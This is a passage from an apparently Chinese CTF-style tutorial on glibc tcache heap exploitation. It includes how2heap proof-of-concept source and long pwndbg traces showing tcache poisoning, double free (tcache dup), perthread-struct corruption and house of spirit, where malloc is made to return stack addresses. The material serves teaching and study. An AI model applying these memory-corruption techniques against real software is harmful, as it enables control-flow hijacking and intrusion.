05:0028│ 0x7fffffffdfc8 —? 0x7ffff7a3fa87 (__libc_start_main+231) ?— mov edi, eax
06:0030│ 0x7fffffffdfd0 ?— 0x0
07:0038│ 0x7fffffffdfd8 —? 0x7fffffffe0a8 —? 0x7fffffffe3c6 ?— 0x346d2f656d6f682f ('/home/m4')
pwndbg> heapinfo
3886144
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x5555557562e0 (size : 0x20d20)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x90) tcache_entry[7]: 0x555555756260
pwndbg> heapbase
heapbase : 0x555555756000
pwndbg> p *(struct tcache_perthread_struct*)0x555555756010
$3 = {
counts = "\000\000\000\000\000\000\000\001", '\000' <repeats 55 times>,
entries = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x555555756260, 0x0 <repeats 56 times>}
}
```
可以看到，此时第 8 条 tcache 链上已经有了一个 chunk，从 `tcache_perthread_struct` 结构体中也能得到同样的结论
然后修改 tcache 的 next
```asm
pwndbg>
We overwrite the first 8 bytes (fd/next pointer) of the data at 0x555555756260
to point to the location to control (0x7fffffffdfa8).
23 a[0] = (intptr_t)&stack_var;
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS ]──────────────────────────────────────
RAX 0x85
RBX 0x0
RCX 0x0
RDX 0x7ffff7dd48b0 (_IO_stdfile_2_lock) ?— 0x0
RDI 0x0
RSI 0x7fffffffb900 ?— 0x777265766f206557 ('We overw')
R8 0x7ffff7fd14c0 ?— 0x7ffff7fd14c0
R9 0x7fffffffb78c ?— 0x8500000000
R10 0x0
R11 0x246
R12 0x555555554650 (_start) ?— xor ebp, ebp
R13 0x7fffffffe0a0 ?— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdfc0 —? 0x555555554910 (__libc_csu_init) ?— push r15
RSP 0x7fffffffdfa0 —? 0x555555554910 (__libc_csu_init) ?— push r15
RIP 0x555555554867 (main+269) ?— lea rdx, [rbp - 0x18]
───────────────────────────────────────[ DISASM ]────────────────────────────────────────
? 0x555555554867 <main+269> lea rdx, [rbp - 0x18] <0x7ffff7dd48b0>
0x55555555486b <main+273> mov rax, qword ptr [rbp - 8]
0x55555555486f <main+277> mov qword ptr [rax], rdx
0x555555554872 <main+280> mov edi, 0x80
0x555555554877 <main+285> call malloc@plt <0x555555554620>
0x55555555487c <main+290> mov rdx, rax
0x55555555487f <main+293> mov rax, qword ptr [rip + 0x2007da] <0x555555755060>
0x555555554886 <main+300> lea rsi, [rip + 0x2eb]
0x55555555488d <main+307> mov rdi, rax
0x555555554890 <main+310> mov eax, 0
0x555555554895 <main+315> call fprintf@plt <0x555555554610>
────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────
18 free(a);
19
20 fprintf(stderr, "Now the tcache list has [ %p ].\n", a);
21 fprintf(stderr, "We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
22 "to point to the location to control (%p).\n", sizeof(intptr_t), a, &stack_var);
? 23 a[0] = (intptr_t)&stack_var;
24
25 fprintf(stderr, "1st malloc(128): %p\n", malloc(128));
26 fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var);
27
28 intptr_t *b = malloc(128);
────────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ rsp 0x7fffffffdfa0 —? 0x555555554910 (__libc_csu_init) ?— push r15
01:0008│ 0x7fffffffdfa8 —? 0x555555554650 (_start) ?— xor ebp, ebp
02:0010│ 0x7fffffffdfb0 —? 0x7fffffffe0a0 ?— 0x1
03:0018│ 0x7fffffffdfb8 —? 0x555555756260 ?— 0x0
04:0020│ rbp 0x7fffffffdfc0 —? 0x555555554910 (__libc_csu_init) ?— push r15
05:0028│ 0x7fffffffdfc8 —? 0x7ffff7a3fa87 (__libc_start_main+231) ?— mov edi, eax
06:0030│ 0x7fffffffdfd0 ?— 0x0
07:0038│ 0x7fffffffdfd8 —? 0x7fffffffe0a8 —? 0x7fffffffe3c6 ?— 0x346d2f656d6f682f ('/home/m4')
pwndbg> heapinfo
3886144
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x5555557562e0 (size : 0x20d20)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x90) tcache_entry[7]: 0x555555756260
pwndbg> n
25 fprintf(stderr, "1st malloc(128): %p\n", malloc(128));
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS ]──────────────────────────────────────
RAX 0x555555756260 —? 0x7fffffffdfa8 —? 0x555555554650 (_start) ?— xor ebp, ebp
RBX 0x0
RCX 0x0
RDX 0x7fffffffdfa8 —? 0x555555554650 (_start) ?— xor ebp, ebp
RDI 0x0
RSI 0x7fffffffb900 ?— 0x777265766f206557 ('We overw')
R8 0x7ffff7fd14c0 ?— 0x7ffff7fd14c0
R9 0x7fffffffb78c ?— 0x8500000000
R10 0x0
R11 0x246
R12 0x555555554650 (_start) ?— xor ebp, ebp
R13 0x7fffffffe0a0 ?— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdfc0 —? 0x555555554910 (__libc_csu_init) ?— push r15
RSP 0x7fffffffdfa0 —? 0x555555554910 (__libc_csu_init) ?— push r15
RIP 0x555555554872 (main+280) ?— mov edi, 0x80
───────────────────────────────────────[ DISASM ]────────────────────────────────────────
0x555555554867 <main+269> lea rdx, [rbp - 0x18]
0x55555555486b <main+273> mov rax, qword ptr [rbp - 8]
0x55555555486f <main+277> mov qword ptr [rax], rdx
? 0x555555554872 <main+280> mov edi, 0x80
0x555555554877 <main+285> call malloc@plt <0x555555554620>
0x55555555487c <main+290> mov rdx, rax
0x55555555487f <main+293> mov rax, qword ptr [rip + 0x2007da] <0x555555755060>
0x555555554886 <main+300> lea rsi, [rip + 0x2eb]
0x55555555488d <main+307> mov rdi, rax
0x555555554890 <main+310> mov eax, 0
0x555555554895 <main+315> call fprintf@plt <0x555555554610>
────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────
20 fprintf(stderr, "Now the tcache list has [ %p ].\n", a);
21 fprintf(stderr, "We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
22 "to point to the location to control (%p).\n", sizeof(intptr_t), a, &stack_var);
23 a[0] = (intptr_t)&stack_var;
24
? 25 fprintf(stderr, "1st malloc(128): %p\n", malloc(128));
26 fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var);
27
28 intptr_t *b = malloc(128);
29 fprintf(stderr, "2st malloc(128): %p\n", b);
30 fprintf(stderr, "We got the control\n");
────────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ rsp 0x7fffffffdfa0 —? 0x555555554910 (__libc_csu_init) ?— push r15
01:0008│ rdx 0x7fffffffdfa8 —? 0x555555554650 (_start) ?— xor ebp, ebp
02:0010│ 0x7fffffffdfb0 —? 0x7fffffffe0a0 ?— 0x1
03:0018│ 0x7fffffffdfb8 —? 0x555555756260 —? 0x7fffffffdfa8 —? 0x555555554650 (_start) ?— xor ebp, ebp
04:0020│ rbp 0x7fffffffdfc0 —? 0x555555554910 (__libc_csu_init) ?— push r15
05:0028│ 0x7fffffffdfc8 —? 0x7ffff7a3fa87 (__libc_start_main+231) ?— mov edi, eax
06:0030│ 0x7fffffffdfd0 ?— 0x0
07:0038│ 0x7fffffffdfd8 —? 0x7fffffffe0a8 —? 0x7fffffffe3c6 ?— 0x346d2f656d6f682f ('/home/m4')
pwndbg> heapinfo
3886144
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x5555557562e0 (size : 0x20d20)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x90) tcache_entry[7]: 0x555555756260 --> 0x7fffffffdfa8 --> 0x555555554650
```
此时，第 8 条 tcache 链的 next 已经被改成栈上的地址了。接下来类似 fastbin attack，只需进行两次 `malloc(128)` 即可控制栈上的空间。
第一次 malloc
```asm
pwndbg> n
1st malloc(128): 0x555555756260
26 fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS ]──────────────────────────────────────
RAX 0x20
RBX 0x0
RCX 0x0
RDX 0x7ffff7dd48b0 (_IO_stdfile_2_lock) ?— 0x0
RDI 0x0
RSI 0x7fffffffb900 ?— 0x6c6c616d20747331 ('1st mall')
R8 0x7ffff7fd14c0 ?— 0x7ffff7fd14c0
R9 0x7fffffffb78c ?— 0x2000000000
R10 0x0
R11 0x246
R12 0x555555554650 (_start) ?— xor ebp, ebp
R13 0x7fffffffe0a0 ?— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdfc0 —? 0x555555554910 (__libc_csu_init) ?— push r15
RSP 0x7fffffffdfa0 —? 0x555555554910 (__libc_csu_init) ?— push r15
RIP 0x55555555489a (main+320) ?— mov rax, qword ptr [rip + 0x2007bf]
───────────────────────────────────────[ DISASM ]────────────────────────────────────────
0x55555555487f <main+293> mov rax, qword ptr [rip + 0x2007da] <0x555555755060>
0x555555554886 <main+300> lea rsi, [rip + 0x2eb]
0x55555555488d <main+307> mov rdi, rax
0x555555554890 <main+310> mov eax, 0
0x555555554895 <main+315> call fprintf@plt <0x555555554610>
? 0x55555555489a <main+320> mov rax, qword ptr [rip + 0x2007bf] <0x555555755060>
0x5555555548a1 <main+327> lea rdx, [rbp - 0x18]
0x5555555548a5 <main+331> lea rsi, [rip + 0x234]
0x5555555548ac <main+338> mov rdi, rax
0x5555555548af <main+341> mov eax, 0
0x5555555548b4 <main+346> call fprintf@plt <0x555555554610>
────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────
21 fprintf(stderr, "We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
22 "to point to the location to control (%p).\n", sizeof(intptr_t), a, &stack_var);
23 a[0] = (intptr_t)&stack_var;
24
25 fprintf(stderr, "1st malloc(128): %p\n", malloc(128));
? 26 fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var);
27
28 intptr_t *b = malloc(128);
29 fprintf(stderr, "2st malloc(128): %p\n", b);
30 fprintf(stderr, "We got the control\n");
31
────────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ rsp 0x7fffffffdfa0 —? 0x555555554910 (__libc_csu_init) ?— push r15
01:0008│ 0x7fffffffdfa8 —? 0x555555554650 (_start) ?— xor ebp, ebp
02:0010│ 0x7fffffffdfb0 —? 0x7fffffffe0a0 ?— 0x1
03:0018│ 0x7fffffffdfb8 —? 0x555555756260 —? 0x7fffffffdfa8 —? 0x555555554650 (_start) ?— xor ebp, ebp
04:0020│ rbp 0x7fffffffdfc0 —? 0x555555554910 (__libc_csu_init) ?— push r15
05:0028│ 0x7fffffffdfc8 —? 0x7ffff7a3fa87 (__libc_start_main+231) ?— mov edi, eax
06:0030│ 0x7fffffffdfd0 ?— 0x0
07:0038│ 0x7fffffffdfd8 —? 0x7fffffffe0a8 —? 0x7fffffffe3c6 ?— 0x346d2f656d6f682f ('/home/m4')
pwndbg> heapinfo
3886144
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x5555557562e0 (size : 0x20d20)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x90) tcache_entry[7]: 0x7fffffffdfa8 --> 0x555555554650
```
第二次 malloc，即可 malloc 栈上的地址了
```asm
pwndbg> heapinfo
3886144
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x5555557562e0 (size : 0x20d20)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x90) tcache_entry[7]: 0x7fffffffdfa8 --> 0x555555554650
pwndbg> ni
0x00005555555548c3 28 intptr_t *b = malloc(128);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS ]──────────────────────────────────────
RAX 0x7fffffffdfa8 —? 0x555555554650 (_start) ?— xor ebp, ebp
RBX 0x0
RCX 0x555555756010 ?— 0xff00000000000000
RDX 0x7fffffffdfa8 —? 0x555555554650 (_start) ?— xor ebp, ebp
RDI 0x555555554650 (_start) ?— xor ebp, ebp
RSI 0x555555756048 ?— 0x0
R8 0x7ffff7fd14c0 ?— 0x7ffff7fd14c0
R9 0x7fffffffb78c ?— 0x2c00000000
R10 0x0
R11 0x246
R12 0x555555554650 (_start) ?— xor ebp, ebp
R13 0x7fffffffe0a0 ?— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdfc0 —? 0x555555554910 (__libc_csu_init) ?— push r15
RSP 0x7fffffffdfa0 —? 0x555555554910 (__libc_csu_init) ?— push r15
RIP 0x5555555548c3 (main+361) ?— mov qword ptr [rbp - 0x10], rax
───────────────────────────────────────[ DISASM ]────────────────────────────────────────
0x5555555548ac <main+338> mov rdi, rax
0x5555555548af <main+341> mov eax, 0
0x5555555548b4 <main+346> call fprintf@plt <0x555555554610>
0x5555555548b9 <main+351> mov edi, 0x80
0x5555555548be <main+356> call malloc@plt <0x555555554620>
? 0x5555555548c3 <main+361> mov qword ptr [rbp - 0x10], rax
0x5555555548c7 <main+365> mov rax, qword ptr [rip + 0x200792] <0x555555755060>
0x5555555548ce <main+372> mov rdx, qword ptr [rbp - 0x10]
0x5555555548d2 <main+376> lea rsi, [rip + 0x2b4]
0x5555555548d9 <main+383> mov rdi, rax
0x5555555548dc <main+386> mov eax, 0
────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────
23 a[0] = (intptr_t)&stack_var;
24
25 fprintf(stderr, "1st malloc(128): %p\n", malloc(128));
26 fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var);
27
? 28 intptr_t *b = malloc(128);
29 fprintf(stderr, "2st malloc(128): %p\n", b);
30 fprintf(stderr, "We got the control\n");
31
32 return 0;
33 }
────────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ rsp 0x7fffffffdfa0 —? 0x555555554910 (__libc_csu_init) ?— push r15
01:0008│ rax rdx 0x7fffffffdfa8 —? 0x555555554650 (_start) ?— xor ebp, ebp
02:0010│ 0x7fffffffdfb0 —? 0x7fffffffe0a0 ?— 0x1
03:0018│ 0x7fffffffdfb8 —? 0x555555756260 —? 0x7fffffffdfa8 —? 0x555555554650 (_start) ?— xor ebp, ebp
04:0020│ rbp 0x7fffffffdfc0 —? 0x555555554910 (__libc_csu_init) ?— push r15
05:0028│ 0x7fffffffdfc8 —? 0x7ffff7a3fa87 (__libc_start_main+231) ?— mov edi, eax
06:0030│ 0x7fffffffdfd0 ?— 0x0
07:0038│ 0x7fffffffdfd8 —? 0x7fffffffe0a8 —? 0x7fffffffe3c6 ?— 0x346d2f656d6f682f ('/home/m4')
pwndbg> i r rax
rax 0x7fffffffdfa8 140737488347048
```
可以看出 `tcache posioning` 这种方法和 fastbin attack 类似，但因为没有 size 的限制有了更大的利用范围。
#### tcache dup
类似 `fastbin dup`，不过利用的是 `tcache_put()` 的不严谨
```C
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
```
可以看出，`tcache_put()` 的检查也可以忽略不计（甚至没有对 `tcache->counts[tc_idx]` 的检查），大幅提高性能的同时安全性也下降了很多。
因为没有任何检查，所以我们可以对同一个 chunk 多次 free，造成 cycliced list。
以 how2heap 的 [tcache_dup](https://github.com/shellphish/how2heap/blob/master/glibc_2.26/tcache_dup.c) 为例分析，源码如下：
```C
glibc_2.26 [master●] bat ./tcache_dup.c
───────┬─────────────────────────────────────────────────────────────────────────────────
│ File: ./tcache_dup.c
───────┼─────────────────────────────────────────────────────────────────────────────────
1 │ #include <stdio.h>
2 │ #include <stdlib.h>
3 │
4 │ int main()
5 │ {
6 │ fprintf(stderr, "This file demonstrates a simple double-free attack with
│ tcache.\n");
7 │
8 │ fprintf(stderr, "Allocating buffer.\n");
9 │ int *a = malloc(8);
10 │
11 │ fprintf(stderr, "malloc(8): %p\n", a);
12 │ fprintf(stderr, "Freeing twice...\n");
13 │ free(a);
14 │ free(a);
15 │
16 │ fprintf(stderr, "Now the free list has [ %p, %p ].\n", a, a);
17 │ fprintf(stderr, "Next allocated buffers will be same: [ %p, %p ].\n", ma
│ lloc(8), malloc(8));
18 │
19 │ return 0;
20 │ }
───────┴─────────────────────────────────────────────────────────────────────────────────
```
调试一下，第一次 free
```asm
pwndbg> n
14 free(a);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS ]──────────────────────────────────────
RAX 0x0
RBX 0x0
RCX 0x0
RDX 0x0
RDI 0x1
RSI 0x555555756010 ?— 0x1
R8 0x0
R9 0x7fffffffb79c ?— 0x1a00000000
R10 0x911
R11 0x7ffff7aa0ba0 (free) ?— push rbx
R12 0x555555554650 (_start) ?— xor ebp, ebp
R13 0x7fffffffe0b0 ?— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdfd0 —? 0x555555554870 (__libc_csu_init) ?— push r15
RSP 0x7fffffffdfb0 —? 0x555555554870 (__libc_csu_init) ?— push r15
RIP 0x5555555547fc (main+162) ?— mov rax, qword ptr [rbp - 0x18]
───────────────────────────────────────[ DISASM ]────────────────────────────────────────
0x5555555547e4 <main+138> lea rdi, [rip + 0x171]
0x5555555547eb <main+145> call fwrite@plt <0x555555554630>
0x5555555547f0 <main+150> mov rax, qword ptr [rbp - 0x18]
0x5555555547f4 <main+154> mov rdi, rax
0x5555555547f7 <main+157> call free@plt <0x555555554600>
? 0x5555555547fc <main+162> mov rax, qword ptr [rbp - 0x18]
0x555555554800 <main+166> mov rdi, rax
0x555555554803 <main+169> call free@plt <0x555555554600>
0x555555554808 <main+174> mov rax, qword ptr [rip + 0x200851] <0x555555755060>
0x55555555480f <main+181> mov rcx, qword ptr [rbp - 0x18]
0x555555554813 <main+185> mov rdx, qword ptr [rbp - 0x18]
────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────
9 int *a = malloc(8);
10
11 fprintf(stderr, "malloc(8): %p\n", a);
12 fprintf(stderr, "Freeing twice...\n");
13 free(a);
? 14 free(a);
15
16 fprintf(stderr, "Now the free list has [ %p, %p ].\n", a, a);
17 fprintf(stderr, "Next allocated buffers will be same: [ %p, %p ].\n", malloc(8), malloc(8));
18
19 return 0;
────────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ rsp 0x7fffffffdfb0 —? 0x555555554870 (__libc_csu_init) ?— push r15
01:0008│ 0x7fffffffdfb8 —? 0x555555756260 ?— 0x0
02:0010│ 0x7fffffffdfc0 —? 0x7fffffffe0b0 ?— 0x1
03:0018│ 0x7fffffffdfc8 ?— 0x0
04:0020│ rbp 0x7fffffffdfd0 —? 0x555555554870 (__libc_csu_init) ?— push r15
05:0028│ 0x7fffffffdfd8 —? 0x7ffff7a3fa87 (__libc_start_main+231) ?— mov edi, eax
06:0030│ 0x7fffffffdfe0 ?— 0x0
07:0038│ 0x7fffffffdfe8 —? 0x7fffffffe0b8 —? 0x7fffffffe3d8 ?— 0x346d2f656d6f682f ('/home/m4')
pwndbg> heapinfo
3886144
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555756270 (size : 0x20d90)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x20) tcache_entry[0]: 0x555555756260
```
tcache 的第一条链放入了一个 chunk
第二次 free 时，虽然 free 的是同一个 chunk，但因为 `tcache_put()` 没有做任何检查，因此程序不会 crash
```asm
pwndbg> n
16 fprintf(stderr, "Now the free list has [ %p, %p ].\n", a, a);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS ]──────────────────────────────────────
RAX 0x0
RBX 0x0
RCX 0x0
RDX 0x555555756260 ?— 0x555555756260 /* '`buUUU' */
RDI 0x2
RSI 0x555555756010 ?— 0x2
R8 0x1
R9 0x7fffffffb79c ?— 0x1a00000000
R10 0x911
R11 0x7ffff7aa0ba0 (free) ?— push rbx
R12 0x555555554650 (_start) ?— xor ebp, ebp
R13 0x7fffffffe0b0 ?— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdfd0 —? 0x555555554870 (__libc_csu_init) ?— push r15
RSP 0x7fffffffdfb0 —? 0x555555554870 (__libc_csu_init) ?— push r15
RIP 0x555555554808 (main+174) ?— mov rax, qword ptr [rip + 0x200851]
───────────────────────────────────────[ DISASM ]────────────────────────────────────────
0x5555555547f4 <main+154> mov rdi, rax
0x5555555547f7 <main+157> call free@plt <0x555555554600>
0x5555555547fc <main+162> mov rax, qword ptr [rbp - 0x18]
0x555555554800 <main+166> mov rdi, rax
0x555555554803 <main+169> call free@plt <0x555555554600>
? 0x555555554808 <main+174> mov rax, qword ptr [rip + 0x200851] <0x555555755060>
0x55555555480f <main+181> mov rcx, qword ptr [rbp - 0x18]
0x555555554813 <main+185> mov rdx, qword ptr [rbp - 0x18]
0x555555554817 <main+189> lea rsi, [rip + 0x152]
0x55555555481e <main+196> mov rdi, rax
0x555555554821 <main+199> mov eax, 0
────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────
11 fprintf(stderr, "malloc(8): %p\n", a);
12 fprintf(stderr, "Freeing twice...\n");
13 free(a);
14 free(a);
15
? 16 fprintf(stderr, "Now the free list has [ %p, %p ].\n", a, a);
17 fprintf(stderr, "Next allocated buffers will be same: [ %p, %p ].\n", malloc(8), malloc(8));
18
19 return 0;
20 }
────────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ rsp 0x7fffffffdfb0 —? 0x555555554870 (__libc_csu_init) ?— push r15
01:0008│ 0x7fffffffdfb8 —? 0x555555756260 ?— 0x555555756260 /* '`buUUU' */
02:0010│ 0x7fffffffdfc0 —? 0x7fffffffe0b0 ?— 0x1
03:0018│ 0x7fffffffdfc8 ?— 0x0
04:0020│ rbp 0x7fffffffdfd0 —? 0x555555554870 (__libc_csu_init) ?— push r15
05:0028│ 0x7fffffffdfd8 —? 0x7ffff7a3fa87 (__libc_start_main+231) ?— mov edi, eax
06:0030│ 0x7fffffffdfe0 ?— 0x0
07:0038│ 0x7fffffffdfe8 —? 0x7fffffffe0b8 —? 0x7fffffffe3d8 ?— 0x346d2f656d6f682f ('/home/m4')
pwndbg> heapinfo
3886144
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555756270 (size : 0x20d90)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x20) tcache_entry[0]: 0x555555756260 --> 0x555555756260 (overlap chunk with 0x555555756250(freed) )
```
可以看出，这种方法与 `fastbin dup` 相比也简单了很多。
#### tcache perthread corruption
我们已经知道 `tcache_perthread_struct` 是整个 tcache 的管理结构，如果能控制这个结构体，那么无论我们 malloc 的 size 是多少，地址都是可控的。
这里没找到太好的例子，自己想了一种情况
设想有如下的堆排布情况
```
tcache_ +------------+
\perthread |...... |
\_struct +------------+
|counts[i] |
+------------+
|...... | +----------+
+------------+ |header |
|entries[i] |--------->+----------+
+------------+ |NULL |
|...... | +----------+
| | | |
+------------+ +----------+
```
通过一些手段（如 `tcache posioning`），我们将其改为了
```
tcache_ +------------+<---------------------------+
\perthread |...... | |
\_struct +------------+ |
|counts[i] | |
+------------+ |
|...... | +----------+ |
+------------+ |header | |
|entries[i] |--------->+----------+ |
+------------+ |target |------+
|...... | +----------+
| | | |
+------------+ +----------+
```
这样，两次 malloc 后我们就返回了 `tcache_perthread_struct` 的地址，就可以控制整个 tcache 了。
**因为 tcache_perthread_struct 也在堆上，因此这种方法一般只需要 partial overwrite 就可以达到目的。**
#### tcache house of spirit
拿 how2heap 的源码来讲：
```c
#include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack on tcache.\n");
fprintf(stderr, "It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n");
fprintf(stderr, "You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n");
fprintf(stderr, "(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n");
fprintf(stderr, "Ok. Let's start with the example!.\n\n");
fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
malloc(1);
fprintf(stderr, "Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n");
unsigned long long *a; //pointer that will be overwritten
unsigned long long fake_chunks[10]; //fake chunk region
fprintf(stderr, "This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]);
fprintf(stderr, "This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size
fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];
fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}
```
攻击之后的目的是，去控制栈上的内容，malloc 一块 chunk ，然后我们通过在栈上 fake 的chunk，然后去 free 掉他，我们会发现
```bash
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x4052e0 (size : 0x20d20)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x90) tcache_entry[7]: 0x7fffffffe510 --> 0x401340
```
Tcache 里就存放了一块 栈上的内容，我们之后只需 malloc，就可以控制这块内存。
#### smallbin unlink
在smallbin中包含有空闲块的时候，会同时将同大小的其他空闲块，放入tcache中，此时也会出现解链操作，但相比于unlink宏，缺少了链完整性校验。因此，原本unlink操作在该条件下也可以使用。
#### tcache stashing unlink attack
这种攻击利用的是 tcache bin 有剩余(数量小于 `TCACHE_MAX_BINS` )时，同大小的small bin会放进tcache中(这种情况可以用 `calloc` 分配同大小堆块触发，因为 `calloc` 分配堆块时不从 tcache bin 中选取)。在获取到一个 `smallbin` 中的一个chunk后会如果 tcache 仍有足够空闲位置，会将剩余的 small bin 链入 tcache ，在这个过程中只对第一个 bin 进行了完整性检查，后面的堆块的检查缺失。当攻击者可以写一个small bin的bk指针时，其可以在任意地址上写一个libc地址(类似 `unsorted bin attack` 的效果)。构造得当的情况下也可以分配 fake chunk 到任意地址。
这里以 `how2heap` 中的 `tcache_stashing_unlink_attack.c` 为例。
